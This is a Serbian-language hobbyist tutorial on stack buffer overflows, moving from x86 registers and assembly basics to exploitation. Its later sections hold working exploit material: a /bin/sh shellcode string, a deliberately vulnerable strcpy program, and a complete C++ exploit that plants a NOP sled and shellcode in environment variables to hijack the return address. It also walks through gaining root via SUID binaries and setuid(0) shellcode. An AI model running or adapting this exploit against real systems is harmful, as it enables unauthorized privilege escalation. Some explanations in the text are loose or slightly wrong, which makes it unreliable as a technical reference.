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0. UVOD *

*********

 Ovaj tutorial je posvecen mojim drugovima i drugaricama iz razreda i

ostalima koji me znaju.U doba kad sam se najvise interesovao za komp

odlucio sam da napravim neki text po kome cu biti upamcen.Iz te zelje

je nasta ovaj TUTorial o buffer overflow-u.Uzgred ovo nije tut o tome

kako napisati * shell code * vec kako buffer overflow radi.

Oni koji znaju osnovu Assemblera mogu da preskoce deo 1 i 2.

Uzgred oni koji zanju assembler ovo nemoraju ni da citaju.

Naime tut govori o stack buffer overflow-u.Postoji jos i heap overflow

ali to nije cilj ovog tutorijala.(u dalnjme text stack buffer overflow

ce biti zvan samo buffer overflow)...

Pocnimo-»»                 puno Pozdrava od predator-a

e da...ovde ide disclamer: Ja licno ne odgovaram za stetu koju kako

sebi tako i drugima ucinite,stoga nemojte mene kriviti za stetu koju 

napravite i zapamtite sami ste krivi za ono sto uradite.Ako se ne slazete

sa gore navedenim onda ne citajte ovaj TUT.U suprotnom cu smatrati da ste

sve ovo prihvatili.
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*******************************************

1. Registri i kako izaci na kraj sa njima *

*******************************************

Registre mozete zamisliti kao promenljive koje su u procesoru vec definisane

za vas.Svi registri u 8086 familiji su 16bitni s tim sto na 386+ procesorima

dobijaju slovo E ili extended tj. oni su 32 bitni.

Registri opste namene su->

AX,BX,CX,DX koji mogu biti prosireni (386+) EAX,EBX,ECX,EDX.

Svaki register od ova 4 se moze podeliti na gornji(H) i donji(L).

Izgled AX registra->


       AX

--------------------------------------

|  AH             |       AL         |

--------------------------------------

Ovako igleda register AX,BX,CX,DX sa AH i AL mozete opstiti kao da su zasebni.

AH je gornjih 8 bita AX a AL donjih 8 bita AX registra.Ovo sve vazi za BX,CX,DX

Ako uradimo -> mov ax,3456h imamo ovakvu sliku: u AH imamo 34h a u AL imamo

56h.(h oznacava da radimo sa hex-decimalnim brojevima).

Kod prosirenih registra (386+) moze se reci da je AX donjih 16 bita EAX.

Za razliku od AX gde mozemo da operisemo sa donjih i gornjih 8 bita kod EAX

nije tako,tj. mi mozemo da radimo sa AX kao zasebnim registrom ali nemamo

nacina da pristupimo gornjih 16bita EAX. izgled EAX




EAX

--------------------------------------------------

|                                                |



       ---------------------------

|                      |  AH         |  AL       |

--------------------------------------------------

jel vidite sta hocu da kazem! Ne?Pa idemo.Lako je. AH i AL zajedno cine AX tj.

16 bita ili 2 bajta(word). donjih 16 bita tj AX i gornjih 16 bita cine EAX,Za

raliku od AX gde mozemo da pristupimo AH i AL kod EAX ne mozemo da pristupimo

gornjih 16 bita tj. nemozemo sa njima da opstimo kao sa zasebnim registrom.

Ako bas morate da upisete nesto u gornjih 16 bita EAX to uradite ovako ->

mov eax,12340000h i to ce popuniti gornjih 16 bita sa 1234h a AX sa 0000h.

Uf. to su samo opsti registri sad prelazimo na CS,SS i DS registre.

Naime ovi registi su nista drugo do najvazniji segmentni registi i ono su 16

bita!

Svaki program treba da ima CS ili Code Segment na koji ce CS da pokazuje,zatim

DS ili Data Segment na koji ce da pokazuje DS i SS ili Stack Segment na koji

pokazuje SS.

Imamo jos i IP ili instruction pointer tj. 16bitni register koji poakzuje na

offset sledece instrukcije u Code Segmentu!? uf sta ovaj prica!!!!

Posto sam spomenuo offset i segment moram vam objasnti sta je to jel nije bas

lako prokljuviti iz prve!

Segment & Offset (prica kod DOSa)

Kada su davne 1980 godine Intelovi inzenjeri napravili prvi 8086 procesor on

je napravljen tako da vidi 1MB memorije.Zasto?Tada se predpostavljalo da je to

vise memorije nego sto ce ikome ikad zatrebati. Kako se 1MB adrsira sa

20bita(2 na 20 pa vidite sta daje) za to su potrebna dva registra!?Zasto nisu

koristili 32bitne(nije ih bilo) a drugi razlog je sto bi se tako moglo

adresirati 4GB sto je tada bilo nedostizno a i CPU registr su bili

ograniceni,pa tad je 10kb bilo mnogo kao danas 10GB i zasto on da baci 16bita

u procesoru kad nece imati TAKAV komp koji ce to moci da podrzi.Naime da se

vratim na pricu o segmentima i offsetima.Da bi adresirali taj 1MB ili 20bita

oni su smislili da kombinuju segmente i offsete tj. 2  16 bitna registra da

ukombiniju i dobiju 20 bita! Kao su to radili.

Segmentni register su pomerili za 4bita unapred odnosno segment su pomnozili

sa 16. i takav segment dodali offsetu.Znaci neka promenljiva koja ima ovakve

podatke: SEG: 110110110101011 i offset 0000001010110111

je imala ovakvo mesto u memoriji ->

SEG * 16 + OFFSET


      11101101101010110000



  0000001010110111

-----------------------------------


      11101101110101100111 

Znaci da se promenljiva ili taj podataka nalzi na mestu koje smo dobili tako se

kombinuju SEG I OFFSET da se dobije tacna lokacija u memoriji!

Sta je to zapravo offset!

Offset nije nista drugo do udaljenost toga od pocetak segmenta.Kad kazem toga

mislim na promenljivu,instrukciju.

Npr ovo je segment code

 .CODE

main: 

 mov ax,bx

 mov ah,cl

sve u ovom CS(Code Segmentu) ima svoj offset!tj. vrednost od pocetka

segmenta.Naime da bi se znalo koja se instrukcija sledeca izvrsva kombinuju se

CS:IP gde je CS code segment a IP offset sledecde instrukcije koja treba da se

izvrsi.

Offset na Win & UNIX

Sad se na novim procesorima koristi EIP,a za segment se brine OS.EIP sad moze

da adresira 2 na 32 sto je 4GB i sto je vise nego dovoljno memorije.Stoga sve

sto treba da se adresira se radi preko 32bita.Narvno moze i sa 20bita ali je

ovo brze i za nas vaznije kod buffer overflow-a.

Ima tu jos REGISTRA kao sto su SP(vise kod Stacka),BP,ES,FS.SI.Mozda sam neki

zaboravio!(joj nece vljda da mi se komp ljuti)

Ovo je sve bilo fino ali sad prelazimo na pravu carlamu:

Idemo-»

Svi registri koji postoje na 386+ su(neverujem da ce neko od vas da exploatise

286):

eax  - akomulator register

ecx  - koristi se za petlje

edx  - ko bi ga znao:)?

ebx  - ma kao i EAX

esp  - ESP ili Extended stack pointer

ebp  - Extended Base pointer koristi se u funkcijama za indexno adresiranje

esi  - ?? tu je ali ko zna zasta,salim se nama on nije potreban

edi  - Isto nam nije vazan

eip  - Veom je vazan za nas jer on sadrzi offse sledece izvrsene instrukcije

cs   - ovi dole su svi 16bitni registri,tz. segmentni registri nama ne znace

sad bas mnogo

ss    - stack segment

ds    - data segment 

es    - extra segment

fs    - slicno kao extra segment,ista primena kao i kod njega

*****************************************************************

2. Uvod u ASEMBLER - brz osvrt na osnovne komande Intel Syntaxe *

*****************************************************************

Asembler je nastao iz potreba da se manje citljiv kod 0 i 1 postane citljiviji.

Izmedju programera i resursa ne stoji nista,ali tako nista ne stoji i izmedju

programa i greske!

LINUX koristi AT&T Synatxu!Dok Win i DOS koriste Intel Syntaxu.U nemogucnosti 

da nadjem neki dobar AT&T tutorial ja vam objasnjavam STACK na osnovu Intel

Syntaxe.Na kraju cu navesti neke razlike izmedju AT&T i Intel syntxe.

mov des,src

premesta nesto iz src u dst s tim sto se u src nalazi idalje vrednost.

primer

mov ax,bx

mov ah,bl

Napomena: nemogu se koristiti Registri razlicite velicine mov ax,bh je greska

jer je AX 16bita a bl 8 bita.

add des,src sabira ses sa src i cuva rezultat u des

mov ah,01h

mov al,02h

add ah,al ; ah=ah+al

sub dst,src 

isto kao add samo se oduzima

inc,dec 

 inc je increment i ovako izgleda inc ax je isto sto i ax=ax+1; ili ax++;

 dec je dekrement i ovako izgleda dec ax je isto sto i ax=ax-1; ili ax--;

int broj

int je signal procesoru da izvrsi neku funkciju cija se subrutine nalzi u AH

uglavnom

mov ah,4ch

int 21h

nas vraca u DOS int 21h ima jos pid rutina koje se stavljaju u AH ali da ne

gnjavim.

MOV ax,SEG promenljiva

 kazuje da u AX stavi segmentu adresu od neke promenljive

MOV DX,offset promenljiva

 Kazuje da u DX stavi offset adresu od neke promenljive

xor  dest,src se najcesce koristi da se neki register postavi na 0!!!

      npr xor bx,bx ce u bx da stavi sve 0!!!Radi po principu

 0-0->0

 0-1->1

 1-0->1

 1-1->0  

Ova funkcija je bitna kod buffer-overflow jer moze da napravi 0 od bilo kog

registra!Sta sam sad rekao!!Milsim xor %eax,%eax je kao movl $0x0,%eax.Tako da

se lako moze izvrdati strcpy() koji kopira dok ne naidje na '\0' ili 0x00!!!

NOP je NO OPERATION instrukcija koja kaze IP da predje na drugu instrukciju to

jes na onu posle nje

  PUSH i POP cu da obajsnim kod STACKa!

funckija u C __asm__(char *instructions); je uputstvo C jeziku da implemetira

Asembler instrukcije bas kako ih vi pisete.

void main(){

 __asm__(" xorl %eax,%eax"); ce biti zamenjeno sa xorl %eax,%eax kad se program

prevede u ASM pa zatim u masinac...

to je bio kratak osvrt na asembler.

*********************************

3. Povratna adresa(RET) i STACK *

*********************************

Stack je mesto u memoriji gde se cuvaju podaci.Na nejga pokazuje SS.Stack radi

po principu LIFO tj Last in First out. Sta to znaci! Zamislite jednu sudoperu

i stavite u nju tanjire!onaj koji poslednji stavite bice prvi koji ce te uzeti.

Tako radi i stack.Naime stack moze da cuva svoje podatke kao 2bajta(word) ili

kao 4bajta(double word,dword).Da biste nesto poslali na stack morate koristiti

komandu PUSH _sta_  a da biste nesto skinuli sa stacka koristite komadnu POP

_sta_

primer 

PUSH ax

PUSH dx

POP ax

POP dx

na ovaj nacin smo zamenili sadrzaj registra ax sa dx i obratno naime sta smo

uradili.Na stack smo gurnuli ax,a zatim na njega stavili dx.Prilikom uzimanja

sa stacka mi smo prvo popunili ax setite se LIFO tj. u AX smo stavili ono sto

je DX PUSHnuo a u DX smo POPnulu AX...Ako bi hteo da pre programa sacuvam

AX,DX a zatim da ih na isti nacin vratim to bi bilo ovako

PUSH AX

PUSH DX

...

POP DX

POP AX

mislim da nemoram da objasnjavam...

E da kad nesto pushnete na stack ESP tj Stack  Pointer se umanjuje za 2 ili 4 u

zavisnosti sta ste pushnuli AX ili EAX.

Znaci PUSH radi nesto ovako otprilike

MOV [ESP],AX

SUB SP,2

Razumte? Na memorijsku lokaciju na koju pokazuje ESP smo stavili AX i zatim od

ESP oduzeli 2(bajta)tako da ESP sad pokazuje na slobodno mesto na STACKu.Kod

POP je obrnuto->

MOV AX,[ESP]

ADD ESP,2

U AX stavjamo ono nasta poakzuje [ESP] i ESP povecamo za 2 da pokazuje na

sledeci PUSHnuti podataka...

Zapamtite kad netso POPnemo sa STACKa to idalje ostaje na STACKu samo se SP

menja.Ako uradimo ovako nesto

PUSH AX

PUSH BX

PUSH CX

PUSH DX


     --------------

ESP ->       |    DX      | ovde SP pokazuje na podatak pushnut iz DX 


     --------------


     |    CX      |


     --------------


     |    BX      |


     --------------


     |    AX      |


     -------------- pocetak stacka setite se LIFO

NAPOMENA: Nemojte da mislite da ovo AX,BX,CX,DX sto sam napisao se tako gura!!!

Ne ne.To predstavlja vrednost koju smo pushnuli samo sam ja stavio imena

registra zbog slikovitosti inace to su brojne vrednosti!!!!!!!!

Registri su samo ono gde smo cuvali vrednost!!!Znaci ako smo u AX imali 0020h

to se umesto ovog AX sto sam napisao nalazi 0020h i sve je jedno u koji ce

16bitni register da se ucita!!!!!!!!!!

posle POP DX kazemo da se sa mesta na koje ukazuje ESP uzme podatak i smesti u

DX i zatim ESP pokazuje na CX

posle POP DX bice:


     --------------


     |    DX      |


     --------------

  ESP->      |    CX      |


     --------------


     |    BX      |


     --------------


     |    AX      |


     --------------

ESP sad pokazuje na mesto gde je CX register smestio podatak ali vidite DX je

jos uvek tu!U cemu je caka!Kad nesto popnete vi ustvari od ESP oduzmete

velicinu koju je taj podatak zauzeo.Samo se ESP menja a DX ostaje tu!

Ako zatim uradimo PUSH AX

dobijemo ovakvu situaciju->


     --------------

    ESP->    |    AX      |


     --------------


     |    CX      |


     --------------


     |    BX      |


     --------------


     |    AX      |


     -------------- pocetak stacka (setite se LIFO)

i sad je DX prebrisan a ESP pokazuje na novu adresu na Stacku.

Ovo je nadam se jasno?Ako nije!Malo promozgaj o ovome nije bas lako skontati

iz prve.

Povratna adresa ili RET

 Svaka funkcija koja se poziva posle svog izvrsenja se vraca na mesto

poziva.Kako?

U odeljku Registri sam pricao o kombinaciji CS:IP gde se IP koristi da

pokazuje na offset od sledece instrukcije!Na 386+ procesorima imamo EIP

register,na novijim OS kao sto su Win i Linux sam OS vodi racuna o segmentima

tako da nam je samo EIP dovoljan za dalje cackanje po programu,ovako izgleda

poziv nekoj funkciji

call _ime_funkcije  * a sa ret u toku funkcije se izlazi *

Naime kada se izvrsi call na stack se PUSHne EIP!Zasto? Pa rekao sam da funkcja

kada se pozove se vraca na mesto poziva?!Jel tako! E pa kad mi uradimo RET to

se u EIP POPne predjasnje sacuvan EIP.A sto ja uopste guram EIP na STACK.Pa

kako zasto rekli smo da se sve instrukcije izvrsavaju tako sto EIP pokazuje na

njih,kad pozvoemo funkciju EIP dobija novi offset gde pocinje funkcija!Zato

moramo da PUSHnemo EIP pre poziva(call to sam obavi) a na kraju funkcije

moramo da imamo RET sto bi bilo ekvivalentno POP EIP ili vraca se na offset

koji je bio pre poziva funkcije!:)

Sad dolazimo do toga kako promeniti izvrsavanje koda...

Uradite ovo u DOSu program crash my computer!

crash.asm

---------------------

.model tiny

.stack 200h

.code

 pocetak:

   jmp main:

     crash PROC

       mov AX,1234h

       push AX

      ret

     crash EDNP

main:

  call crash

  mov ax,4c00h

  int 21h

end pocetak

---------------------

C:\>tasm32 crash.asm

C:\>tlink crash.obj

C:\>crash.exe

Izlaz ce da zaglavi DOS

naime sta se ovde radi!!!

definisali smo proceduru(funkciju) koja PUSHne 1234h na STACK i promeni ESP

da vise ne pokazuje na malopre sacuvan IP! kada pozovemo RET nece se POPnuti

IP vec ono sto smo mi stavili na STACK.Program ce da izvrsi bog te pita sta

jel ce da skoci na instrukciju koja se nalazi u CODE segmentu na 1234h sto

je po meni a i logici izvan okvira ovog programa!!

Ista je prica i sa Win i UNIX.Samo sto se na stack PUSHne EIP i skace se na

instrukciju na koju pokazuje EIP.

Program bi lepo radio da sam posle push AX npr stavio POP BX ili POP AX ili

POP bilo koji 16bitni register ESP bi posle tog POP opet pokazivao na IP i RET

bi ga lepo pokupio i program bi izvrsio sledecu instrukciju posle call

crash!!!!

Toliko o povratnoj adresi nadam se da si shavtio/la da je RET adresa nista

drugo do sacuvan EIP na STECKu koji se POPne posle kraja funkcije...

Stek raste od vise ka nize...Znaci kad imate u memoriji pocetak stacka 1000

i PUSHnete AL,ESP ce da se smanji za 1 i pokazivace na 999.

********************

4. Buffer Overflow *

********************

Posto sad znamo sta je EIP i kako se vracamo na mesto poziva.Napisimo jedan

obican buffer overflow program.Za ovaj deo treba da znate bar malo C jezika i

to onaj deo sa pointerima!!Buffer overflow je pisanje iza kraja niza.

void function(char *gg){

 char buf[15];

 strcpy(buf,gg);

}

main(){

 char gg[200];

 int i;

 for (i=0;i<199;i++){

   gg[i]='A';

}

function(gg);

}

i sad cu pokusati napamet da disassemblujem deo funkcije()

push %ebp

movl %esp,%ebp

sub %esp,$16

zasto ovo radi ?

U funkciji koja je korisnicki definisana,argumentima i promenljivima iste se pristupa

preko EBP.To je neko opste pravilo.Mada ako hocete vi mozete koristiti ESI 

ili neki drugi 32bitni register.Ali samo da znate da se za to koristi EBP.

U EBP stvljamo ESP i ESP oduzimamo $16 tj da pokazuje na pocetak(ne bukvalno

na pocetak nego na mesto iz poslednje PUSHnute vrednosti) stacka u slucaju da jos nesto

treab da PUSHnemo ili POPnemo!!Kako izgleda nas program na STACKU

[buf           ][ebp ][ret ][gg  ]



       eip

primeticete da kad pokusamo da u buf koji je 15 bajta dugacak stavimo gg koji

je 200 bajta dugacak i popunjen ASCII karakterom 'A' prebrisacemo na stacku i

EBP i RET cak cemo i prebristai adresu od gg sad ce RET biti 0x41414141 jer

je ASCII kod 'A' jednako 0x41 u HEXu!!!Program ce da padne!!!

Ovde smo zakljucili da GG mora da ima tacno nesto na 16+4 od pocetka stacka

sto ce promeni nas RET!!!Ovo je bio klasican buffer overflow program.

16 je onih 16 sto je oduzeto od ESP i 4 za EBP daje ukupno 20 i tako

pokazujemo na adresu gde se na stacku cuva EIP.

naime za BUF treba 16 a ne 15

zasto? Pa kod C jezika se sve na stek gura u blokovima od po 4 bajta tako da

ce 17 da bude 20bajta na stecku itd... Pamtite ovo,vazno je!!!

Idemo sad na jedan program koji sam ja pisao i tu cu vam objasniti RET !!!

---------------

#include<stdio.h>

void change_ret(){

 char bug[5];

 int *ret=(int*)(bug+12);

/****************************************************************************

* Ovaj red int *ret=(int *)(bug+12); cu da objasnim.Sve se u C jeziku cuvana*

* stacku tj. svaka promenjiva koju rezervisemo se gurne na stack i njoj se  *

* pristupa preko ebp+_njeno_mesto_na_stacku_ .Idemo dalje-»                 *

* kad to znamo sad treba nekako da namestimo da pointer na int pokazuje na  *

* nesto.Jel pointer je promenljiva koja cuva adresu u memoriji(ovo znas ali *

* ajde da kazem). Idemo sad bug+12.Zasto? bug[0] ili bug pokazuje na adresu *

* na stacku de se nalazi prvi bajt od promenljive BUG pa ce stoga biti bug na*

* stacku + 8 daje nam kraj te promenljive.Zasto 8?Pa 5 se svrsta u dva bloka*

* od po 4,4 za prva 4 bajta i 4 za 5. bajt + 4 zbog sacuvanog EBPa sto kad  *

* malo sracunamo daje 4+4+4 ili 12bajta koji dodajemo na adresu od buf i sad*

* nas pointer pokazuje na mesto u memoriji gde se cuva EIP                  *

****************************************************************************/

ret+=20;

}

void main(){

 change_ret();

 printf(" Ovo radi ili neradi\n");

exit(0);

}

---------------------------

kad ga pokrenemo u gdb-u to izgleda ovako->

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i686-pc-linux-gnu"...

(gdb) disass main

Dump of assembler code for function main:

0x80487d0 <main>:       push   %ebp

0x80487d1 <main+1>:     mov    %esp,%ebp

0x80487d3 <main+3>:     call   0x80487a0 <change_ret__Fv>

0x80487d8 <main+8>:     push   $0x8048874

0x80487dd <main+13>:    call   0x8048694 <printf>

0x80487e2 <main+18>:    add    $0x4,%esp

0x80487e5 <main+21>:    push   $0x0

0x80487e7 <main+23>:    call   0x80486a4 <exit>

0x80487ec <main+28>:    add    $0x4,%esp

0x80487ef <main+31>:    xor    %eax,%eax

0x80487f1 <main+33>:    jmp    0x8048800 <main+48>

0x80487f3 <main+35>:    lea    0x0(%esi),%esi

0x80487f9 <main+41>:    lea    0x0(%edi,1),%edi

0x8048800 <main+48>:    mov    %ebp,%esp

0x8048802 <main+50>:    pop    %ebp

0x8048803 <main+51>:    ret    

0x8048804 <main+52>:    nop    

0x8048805 <main+53>:    nop    

0x8048806 <main+54>:    nop    

0x8048807 <main+55>:    nop    

0x8048808 <main+56>:    nop    

0x8048809 <main+57>:    nop    

0x804880a <main+58>:    nop    

0x804880b <main+59>:    nop    

0x804880c <main+60>:    nop    

0x804880d <main+61>:    nop    

0x804880e <main+62>:    nop    

0x804880f <main+63>:    nop    

End of assembler dump.  

kad pozovemo change_ret dobijemo da je offset main+3 i EIP je jednak 0x80487d3

a exit je na offsetu main+23 pa sam lepo na IP tj. RET dodao 20 da se skoci na

exit() i to je to...

Promenili smo tok izvrsavanja programa!!!

Naime da zakljucimo.Buffer overflow je stavljanje u buffer vise nego sto on 

moze da sadrzi.Na taj nacin prebrisemo neke znacajne adrese u memoriji tako

da bukvalno receno mozemo da radimo sta hocemo.Ranjivi programi su oni koji

imaju strcpy(),sprintf(),gets(),strncpy() moze da bude opasna ako se koristi

mozak(o tome necu sad) i ostale funkcije tipa memmove(),memcpy() koje ne

proveravaju duzinu onog sto kopiraju...

O shell code imate vise u mom tutorijalu o shell code.Njega mozete da

skinete sa www.predator.co.yu/shell_code.txt

char shell_code[]=

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main(){

 char buf[5];

 int *ret;

 ret=(int *)(buf+12);

 *ret=(int)shell_code;

}

Da objasnim ovaj program->

 nas stack u mainu ->

[buf     ][ebp ][ret ]

Napravili smo pointer na ret tj. na mesto u memoriji gde stack cuva [ret ]

tako sto smo dodali na buf+12!!Zatim smo na to mesto tj. na tu adresu stavili

adresu od shell_code tako da nas kod sad imamo ovu situaciju u memoriji

[buf     ][ebp ][&shell_code] i sad kad ret pone EIP sa stacka to uzima adresu

od naseg shell_coda i skace na njegovo izvrsenje tj. na mesto u memoriji gde

se nalazi nas shell_code koji se sastoji od masinskih instrukcija pisanih u

HEXu. 

U ovom tut sam koristio Intel asembler syntaxy jel sam sa njom lakse razumeo

stack i buffer over,(uzgred sto se tice Linux assembly koristi AT&T syntaxu gde

se svi int pozivaju preko kernela tj int $0x80,za AT&T ima jako malo tutoriala

pa ako nadjete neki dobar saljite mi tut ili barem Adresu)

*************************

5.Razlike AT&T i Intel: *

*************************

mov %reg_src,%reg_des ovde ide prvo src pa dest i ovako izgleda

movl %eax,%ebx znaci u ebx se smesta sadrzaj eax-a!!!

movl znaci da pomeramo 32 bita ili long ako pomeramo 2 bajta ili word koristi

se movw ili za bajt movb!!

Dok se na Intel neki Hexa broj pise npr 80h on se na AT&T pise kao

$0x80 

pushl $4 gura 4 na stack

popl %eax u eax upisuje nesto sa stacka!!!

int je isto add ima isto addl,addb itd.

Indexed adresiranje se na Intelu pise kao [] a na AT&T kao () i ispred svakog

registra mora da ima %...

xorl src,dest

******************************************

6.Optimizacija shell c0de i dodatne cake *

******************************************

Videli smo da kad smo u gornjem primeru sa 

ASCII 'A' prepunilu buffer mi smo ustvari promenili RET da bude 0x41414141 epa

kad se vrsi buffer overflow on se radi tako da se u RET(sacuvan EIP) stavi adresa

naseg shell c0da koji bi on trebao da ima u memoriji.

Shell code sam gore napisao tako da nema potrebe da pisem vise o njemu.

Ako hocete vise pravac www.predator.co.yu/shell_code.txt

Osim da je to masinksi napisano sledece:

----------------------

void main(){

 char *sh[2];

 sh[0]="/bin/sh";

 sh[1]=NULL;

 execve(sh[0],sh,NULL);

 exit(0);

}

----------------------

Svrha buffer overflowa je da se RET prebrise sa adresom shell code-a i da

se izvrsi nas shell.

Tesko pitanje je kako naci pravu adresu gde se nalazi nas shell code.

Odgovor je da mi nemozemo znati gde se nalazi nas shell code.Mozemo samo

nagadjati.Nagadjanje se vrsi tako sto mi koristimo ESP pointer naseg programa

da nadjemo pravu adresu.Naime kako dobijamo ESP

unsigned long get_esp(){

 __asm__("movl %esp,%eax\n");

}

Ili jedniostavno mozemo uzeti adresu od neke nase promenljive posto se

one sve cuvaju na stacku...

--------------------------------

int gg;

cout<<" Stack addr "<<&gg<<endl;

--------------------------------

Na ovaj nacin smo dobili adresu na kojoj bi se nalazio shell code u nasem programu 

ako ovom dodamo ili oduzmemo offset u vrednosti od -2000 do 2000 sigurno nalazimo

pravu adresu.

Da bi nasli tacan pocetak naseg shell code-a u memoriji treba nam bar najmanje 1000 

pokusaja sto nam i nedaje neke sanse!Zar ne? E sad na scenu stupaju NOPovi

nas shell_code sa NOPovima izgleda ovako

NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSSSSSSRETRETRETRETRET

[                                    ][ebp][eip]

       ^                                      |

       ----------------------------------------

Kada nas program skoci na NOP onda znamo da smo na konju.NOP je instrukcija koja

odlaze izvrsenje za neko vreme i nastavlja dalje dok ne nadje neku instrukciju.

U nasem slucaju NOP ce nas pazljivo sprovesti do shell code-a.

Ako se desi da slucajno RET skoci na SS a ne na N dobicete ilegal instruction ili

segmentation fault,ali barem znamo da smo prebrisali buffer i da je to moguce.

Naime ima jedna dobra caka za LOCAL exploite a to je da se napravi sistemska

promenljiva dovoljno velika da sadrzi gomilu NOPova i na samom kraju shell_code

dok druga promenljiva treba da se sastoji iz RET adrese koja sadrzi adresu nase

prve sys promenljive.

Skoro svaki exploit koristi ono __asm__("movl %esp,%eax\n"); da nadje otprilike 

adresu + - offset koji korisnik moze da specifira.Po meni pozeljan offset je oko

500-700 ili 2000 2100 mada sam video na nekim mojim programima da je radilo i sa

100 mada nema veze ako je sys var u kojoj se nalazi shell_code sa NOPovima dovoljno 

velik sigurno cete ubosti neki NOP ako za offset stavite 0 a za sys var negde oko 2000

ili vise.

Evo vam primer jednog takvog exploit-a u kombinaciji sa programom vurnable.cpp

-------------------

#include<string.h>

#include<iostream.h>

void gg(char *overflow){

 char buf[512];

strcpy(buf,overflow);

}

int main(int argc,char **argv){

 gg(argv[1]);

 cout<<" Ako se ovo odstampa,buffer overflow nije uspeo"<<endl;

exit(0);

}

-------------------

i exploit.cpp

-----------------------------------------

#include<unistd.h>

#include<iostream.h>

#include<stdlib.h>

#include<string.h>

#include<stdio.h>

char shell_code[]=

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(){

 __asm__(" movl %esp,%eax \n");

}

#define BUFFER 612

#define OFFSET 0

#define ENV_SIZE 2048 //sto vece to bolje moze i 2500 ili 2000

#define NOP 0x90

int main(int argc,char **argv){

 int buffer=BUFFER,offset=OFFSET,env_size=ENV_SIZE,i;

 if (argc==1){

      cout<<" Usage "<<argv[0]<<" <buffer> <offset> <env_size>"<<endl; 

      cout<<" Program will continue with its defailt values"<<endl;

       }

 if (argc>1){

   buffer=atoi(argv[1]);

}

 if (argc>2){

   offset=atoi(argv[2]);

}

 if (argc>3){

   env_size=atoi(argv[3]);

   }

long *stack=(long *)(get_esp()-offset); //dodeljujemo adresu od ESP 

cout<<" Using addres "<<stack<<endl;

char *env=(char*)malloc(env_size);

char *buf=(char*)malloc(buffer);

if (env==NULL && buf==NULL){

 exit(1);




   }    

long *addr=(long*)buf;

char *ptr=env;

for (i=0;i<buffer/4;i++){

 *(addr+i)=(long)stack; //pravimo promenljivu koja ce da cuva RET adresu

}

for (i=0;i<env_size-strlen(shell_code)-2;i++){

 *ptr++=NOP;  //popunjavamo nasu sys var sa NOPovima

} 

for (i=0;i<strlen(shell_code);i++){

*ptr++=shell_code[i]; //sada iza NOPova pisemo shell_code

}

buf[buffer-1]='\0';

env[env_size-1]='\0';

memcpy(buf,"RET=",4); //RET koja treba da pokazuje na ENV na stacku

putenv(buf);

memcpy(env,"ENV=",4);//ENV je lot of NOPS and shell_code at the end

putenv(env);

system("/bin/bash");

exit(0);

}

--------------------------------------- 

Kako to izgleda!!!

root@scorpion#exploit

SP: 0xbffff840

bash#./vurnable $RET

sh#

sh#exit

exit

bash#exit

exit

root@scorpion#

i da je vurnable bio pod SUID ovo bi sad bio root shell.Ha bi bio root shell

kad bi se zezali.Salu na stranu.Na RedHat sistemu ovo daje EUID 0 znaci

imamo root ali sam ovo testirao na SuSE Linuxu i tamo ne daje root stoga sam

smislio kako da poboljsam shell c0de...a to je da ispred shellc0de stavimo

setuid(0); funkciju koja bi nam dala cist root znaci uid=0,a ne euid=0;

Evo kako se izvodi setuid(0) u HEX kodu(masincu).Imaju 3. koraka:

1. Napisati sledeci program->

setuid.cpp

--------------------

int main(){

 setuid(0);

}

i kompajlirati

root@scorpion#c++ setuid.cpp -o setuid -static

i pokrenuti GDB.

2.Korak je razmatranje naseg koda i prepisivanje u HEX da rezimiramo:

root@scorpion#gdb setuid 

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i686-pc-linux-gnu"...

(gdb) disass __setuid

Dump of assembler code for function __setuid:

0x804ce10 <__setuid>:   push   %ebp

0x804ce11 <__setuid+1>: mov    %esp,%ebp

0x804ce13 <__setuid+3>: push   %edi

0x804ce14 <__setuid+4>: mov    0x8(%ebp),%edi

0x804ce17 <__setuid+7>: cmp    $0xffffffff,%edi

0x804ce1a <__setuid+10>:        je     0x804ce25 <__setuid+21>

0x804ce1c <__setuid+12>:        xor    %eax,%eax

0x804ce1e <__setuid+14>:        mov    %di,%ax

0x804ce21 <__setuid+17>:        cmp    %eax,%edi

0x804ce23 <__setuid+19>:        je     0x804ce40 <__setuid+48>

0x804ce25 <__setuid+21>:        call   0x8048310 <__errno_location>

0x804ce2a <__setuid+26>:        movl   $0x16,(%eax)

0x804ce30 <__setuid+32>:        mov    $0xffffffff,%eax

0x804ce35 <__setuid+37>:        jmp    0x804ce65 <__setuid+85>

0x804ce37 <__setuid+39>:        mov    %esi,%esi

0x804ce39 <__setuid+41>:        lea    0x0(%edi,1),%edi

0x804ce40 <__setuid+48>:        push   %ebx

0x804ce41 <__setuid+49>:        mov    %edi,%ebx

0x804ce43 <__setuid+51>:        mov    $0x17,%eax

0x804ce48 <__setuid+56>:        int    $0x80

0x804ce4a <__setuid+58>:        pop    %ebx

0x804ce4b <__setuid+59>:        mov    %eax,%edi

0x804ce4d <__setuid+61>:        cmp    $0xfffff000,%edi

0x804ce53 <__setuid+67>:        jbe    0x804ce63 <__setuid+83>

0x804ce55 <__setuid+69>:        call   0x8048310 <__errno_location>

0x804ce5a <__setuid+74>:        neg    %edi

0x804ce5c <__setuid+76>:        mov    %edi,(%eax)

0x804ce5e <__setuid+78>:        mov    $0xffffffff,%edi

0x804ce63 <__setuid+83>:        mov    %edi,%eax

0x804ce65 <__setuid+85>:        mov    0xfffffffc(%ebp),%edi

0x804ce68 <__setuid+88>:        mov    %ebp,%esp

0x804ce6a <__setuid+90>:        pop    %ebp

0x804ce6b <__setuid+91>:        ret    

End of assembler dump.

